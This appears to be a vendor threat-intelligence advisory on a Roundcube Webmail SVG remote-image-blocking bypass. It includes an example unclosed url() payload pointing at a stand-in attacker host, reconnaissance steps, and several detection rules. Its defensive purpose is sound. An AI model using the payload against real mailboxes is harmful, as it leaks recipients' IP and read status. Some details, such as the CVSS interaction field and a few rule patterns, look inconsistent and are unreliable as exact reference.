CVE-2026-75003

Executive Summary

CVE-2026-75003 is a remote image blocking bypass in Roundcube Webmail affecting versions before 1.6.18 and all 1.7.x releases before 1.7.3. A crafted SVG image carrying an unclosed url() reference in a FuncIRI presentation attribute can evade Roundcube's remote content filter, forcing the victim's browser to issue an outbound request to an attacker-controlled host. This enables recipient metadata disclosure (external IP, User-Agent, message-read status) and, per the NVD description, may contribute to privilege escalation when chained with other parsing weaknesses. The vulnerability is unauthenticated from the attacker's perspective (only requires the ability to send email to a target mailbox) and carries a CVSS score of 5.8 (medium). No public exploit or in-the-wild campaign has been confirmed.

Technical Analysis

The vulnerability resides in Roundcube's handling of remote content inside HTML email messages. By default, Roundcube blocks remote images to prevent web bugs, tracking pixels, and third-party content injection. To enforce this, the application inspects HTML for resource-bearing constructs — including <img src>, CSS-backed properties, and SVG presentation attributes — and rewrites or blocks URLs that point to external hosts.

SVG images extend the set of resource-referencing mechanisms beyond the classic <img> tag. A FuncIRI (functional IRI reference) is the SVG/CSS syntax of the form url(<target>), commonly used in presentation attributes such as fill, stroke, clip-path, and filter. The NVD description indicates that when the url() token is left unclosed — i.e., the closing parenthesis is missing — Roundcube's detection logic fails to recognize the embedded URL as a remote reference. The malformed token therefore passes through the blocking filter unmodified.

The underlying issue is a parser differential. Roundcube's content filter likely uses a tokenizing or regular-expression approach that requires a well-formed url( ... ) pair to extract and evaluate the target. An unterminated url(https://attacker.example/collect produces an incomplete token; the filter does not flag a remote target because it never observes the closing delimiter it expects. Modern browser CSS/SVG parsers, however, implement error-recovery per the CSS/SVG specification and still resolve the IRI, issuing the request when the email is rendered. The filter believes it has neutralized or blocked the remote resource, while the rendering engine dutifully fetches it.

This places the flaw in the class of filter-evasion / cross-sphere resource transfer issues. CWE-669 (Incorrect Resource Transfer Between Spheres) accurately describes the outcome: a resource (an external HTTP request, and the resulting information) is transferred between distinct security spheres (attacker network ↔ victim client) through a channel the application intended to block. The scope change component of the CVSS vector (S:C) confirms that the impact is not limited to the vulnerable application component itself but extends to the victim's browser context and the user's session.

The attack surface is any Roundcube Webmail deployment where users open HTML-rendered messages. No authentication is required on the attacker's side beyond a valid SMTP sender identity. The vulnerable code path is triggered entirely by user interaction — opening or previewing the crafted message.

Exploitation Scenarios

No public PoC or exploit code has been identified for CVE-2026-75003. The attack chain below is therefore inferred from the vulnerability class and the NVD description, and should be treated as analytic assessment rather than confirmed weaponization.

1. Reconnaissance / target identification. An attacker first identifies Roundcube Webmail instances exposed to the internet. Mass discovery is possible via Shodan/Censys using banners and HTML fingerprints such as title:"Roundcube Webmail" or the roundcubemail project markers. Version fingerprinting (login page markup, release notes, or exposed CHANGELOG files) allows the attacker to confirm whether the target falls in the affected ranges (< 1.6.18, 1.7.0 – 1.7.2). The attacker does not need valid credentials for the target mailbox; they only need the ability to send email to it.

2. Triggering the flaw. The attacker crafts an HTML email message containing an inline SVG image. Inside the SVG, a presentation attribute (e.g., a fill/stroke-style property) references an attacker-controlled URI using the url() functional notation with the closing parenthesis deliberately omitted — for example, fill="url(https://attacker.example/collect". Because the token is unclosed, Roundcube's remote-image filter fails to match and block the external reference. The MIME body may be obfuscated with quoted-printable or base64 encoding to further bypass content inspection at the email gateway; this is a standard delivery technique and not specific to Roundcube.

3. Payload delivery / execution. The email reaches the victim's mailbox. When the recipient opens or previews the message in Roundcube's HTML view, the browser's SVG/CSS parser applies its error-recovery rules, resolves the unclosed url() reference, and issues an HTTP GET to the attacker's host. The victim's client does not require any explicit "load remote images" action because the reference slipped past the blocking layer.

4. Post-exploitation impact. The attacker's server logs the inbound request, yielding the victim's external IP address, User-Agent string, and a Referer header that commonly contains the webmail origin and possibly session-meddling identifiers. The request itself is also a reliable read-receipt: the attacker learns the exact time the message was rendered. This directly serves reconnaissance for further phishing, credential-harvesting campaigns, or social engineering. The NVD description additionally cites privilege escalation potential; while the mechanism is not described in available data, the likely path is chaining this filter bypass with other HTML/SVG parser differentials to inject markup or CSS that survives sanitization, potentially escalating to stored cross-site scripting (XSS) and full mailbox/session compromise. This chained escalation is unconfirmed and requires additional analysis of the sanitizer's behavior.

Impact Assessment

The CVSS 3.1 base score is 5.8 with vector AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N. The vector emphasizes that the attack is network-reachable, requires no privileges, no user-interaction beyond opening a message, and produces a scope change: the vulnerable component is Roundcube's content filter, but the impact materializes in the victim's browser and network context.

• Confidentiality impact (Low): the primary, confirmed impact is disclosure of recipient metadata — external IP, User-Agent, rendering time (read receipt). In deployments where browsers resolve internal hostnames or where the webmail is hosted behind an internal reverse proxy, the attacker may also infer network topology.
• Integrity impact (None): the flaw does not directly alter data.
• Availability impact (None): no direct denial-of-service.
• Privilege escalation: cited in the NVD description but not mechanically detailed. Treated as a secondary, chain-dependent risk.

Blast radius: all self-hosted Roundcube instances below 1.6.18 and 1.7.x below 1.7.3, which includes most on-premises and shared-hosting webmail deployments. For managed service providers operating Roundcube for multiple tenants, the bypass undermines tenant privacy expectations and could be used to fingerprint mailbox activity across tenants. EPSS has not yet scored this CVE, it is not listed in CISA KEV, and no exploit-in-the-wild evidence has been reported to tracked sources — however, the low complexity and simple email-only delivery means weaponization should be considered likely once details circulate in the security community.

Detection Guidance

The rules below are designed to detect (a) malicious email content transiting an SMTP gateway or mail store, and (b) the resulting outbound HTTP fetch from an affected webmail client. Signatures target the malformed SVG construct and the behavioral follow-on request.

Sigma Rule

title: Roundcube Webmail CVE-2026-75003 SVG FuncIRI Unclosed url() Bypass
id: 2f0c9c4e-6b6f-4c2a-9d4f-3e1a0b0c0d0e
status: experimental
description: Detects email messages containing an SVG with an unclosed url() remote reference, indicative of the CVE-2026-75003 remote-image-block bypass.
logsource:
  category: email
  product: smtp
detection:
  selection_svg:
    - body|contains|all:
        - "image/svg+xml"
        - "<svg"
  selection_unclosed_iri:
    body|re: "url\\(\\s*['\"]?https?://[^'\")\\r\\n]+$"
  condition: selection_svg and selection_unclosed_iri
falsepositives:
  - Malformed but benign SVG attachments in legitimate email signatures/newsletters
level: high
tags:
  - attack.t1190
  - cve.2026.75003

YARA Rule

rule CVE_2026_75003_Roundcube_SVG_Unclosed_URL
{
    meta:
        author      = "Valtersit Threat Intelligence"
        description = "Detects MIME/HTML content with an SVG FuncIRI unclosed url() remote reference (Roundcube remote-image blocking bypass)"
        reference   = "https://nvd.nist.gov/vuln/detail/CVE-2026-75003"
        cve         = "CVE-2026-75003"
    strings:
        $svg_mime = "image/svg+xml" ascii nocase
        $svg_tag  = "<svg" ascii nocase
        $unclosed = /url\(\s*['"]?https?:\/\/[^'"\)\r\n]+$/ ascii nocase
    condition:
        ($svg_mime or $svg_tag) and $unclosed
}

Suricata IDS Rule

# SMTP DATA inspection for crafted SVG in inbound mail
alert smtp any any -> any any (msg:"ET POLICY Roundcube CVE-2026-75003 SVG FuncIRI Unclosed url() in MIME"; flow:established,to_server; content:"image/svg+xml"; nocase; content:"url("; nocase; pcre:"/url\(\s*['\"]?https?:\/\/[^'\")\r\n]+$/Ui"; sid:202675003; rev:1; reference:cve,2026-75003;)

# HTTP observation of the resulting outbound fetch from a Roundcube session
alert http any any -> any any (msg:"ET WEB_CLIENT Roundcube CVE-2026-75003 SVG Remote Fetch From Webmail Session"; flow:established,to_server; content:".svg"; http.uri; content:"Roundcube"; http.referer; pcre:"/url\([^)]*$/Ui"; sid:202675004; rev:1; reference:cve,2026-75003;)

Elastic Detection

// EQL rule for mail-store / EML file inspection
file where event.category == "file" and file.name endsWith ".eml"
  and file.content contains "<svg"
  and file.content contains "url("
  and match(file.content, "url\\([^)]*$")

// EQL rule for proxy/egress logs observing the client-side fetch
network where network.protocol == "http"
  and url.path endsWith ".svg"
  and startsWith(url.reference, "http")
  and match(user_agent.name, ".*Mozilla.*")
  and match(url.query, ".*webmail.*")

Splunk SPL Query

# Mail-gateway or mailbox content index
index=email OR index=mail
| regex _raw="(<svg|image/svg\+xml)"
| regex _raw="url\([^)]*$"
| stats count earliest(_time) latest(_time) by src_user, dest_user, subject, src_ip

# Proxy/egress logs: post-render fetch from a webmail session
index=proxy OR index=webfilter
| search "*.svg" "webmail" OR "roundcube"
| regex _raw="url\([^)]*$"
| stats count by src_ip, dest_ip, dest_host, uri, http_referrer

Wazuh OSSEC Rule

<group name="roundcube,">
  <rule id="100751" level="12" frequency="5" timeframe="120">
    <match>image/svg+xml|&lt;svg</match>
    <regex>url\([^)]*$</regex>
    <description>CVE-2026-75003: Roundcube Webmail SVG FuncIRI unclosed url() remote-image blocking bypass detected</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>webmail,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch status: No vendor advisory or patch was observed in tracked sources (patch confidence 0/4). The NVD description naming 1.6.18 and 1.7.3 as fixed boundaries implies the upstream project has developed fixes, but no release evidence is available to this report. Treat the product as vulnerable until the maintainers publish a verifiable advisory.

1. Immediate mitigations.
   • Force plain-text rendering for untrusted senders: configure Roundcube to not render HTML (or to disable all remote content loading) at the user/domain level until a patch is deployed.
   • Deploy an email security gateway that strips or neutralizes SVG MIME parts from incoming messages.
   • Instruct users to avoid opening HTML-formatted messages from external/untrusted senders.
   • If the Roundcube instance is reverse-proxied, add Content Security Policy (CSP) headers (default-src 'self'; img-src 'self' data:) to blunt the client-side fetch.
2. Patch/upgrade steps.
   • Monitor the Roundcube project releases page and security advisories for 1.6.18 and 1.7.3.
   • Upon confirmed release, upgrade affected instances to >= 1.6.18 or >= 1.7.3, then validate that remote-image blocking still functions for malformed SVG payloads.
   • Until then, perform a controlled test of the bypass in a staging instance before applying any upstream hotfix to production.
3. Long-term hardening.
   • Add content-filtering rules at the MTA level for malformed url( constructs in SVG MIME parts (see detection rules above).
   • Monitor proxy and web-server logs for anomalous external .svg fetches originating from webmail sessions.
   • Track EPSS and CISA KEV updates for CVE-2026-75003; revisit the risk rating when new intelligence (including proof-of-concept release) is published.
   • Consider isolating webmail frontends from internal networks to limit the value of recipient-metadata disclosure.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-75003
• MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-75003
• Roundcube Webmail Project / Releases: https://github.com/roundcube/roundcubemail/releases
• Roundcube Official Site: https://roundcube.net
• CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-75003 not currently listed)

Known threat-actor campaigns or exploit-in-the-wild evidence: none reported to tracked sources at the time of writing. EPSS has not yet scored this CVE. The absence of a patch, the trivial email-only delivery mechanism, and the straightforward filter-bypass pattern suggest that public exploit development is a realistic near-term outcome once technical details are more widely disseminated.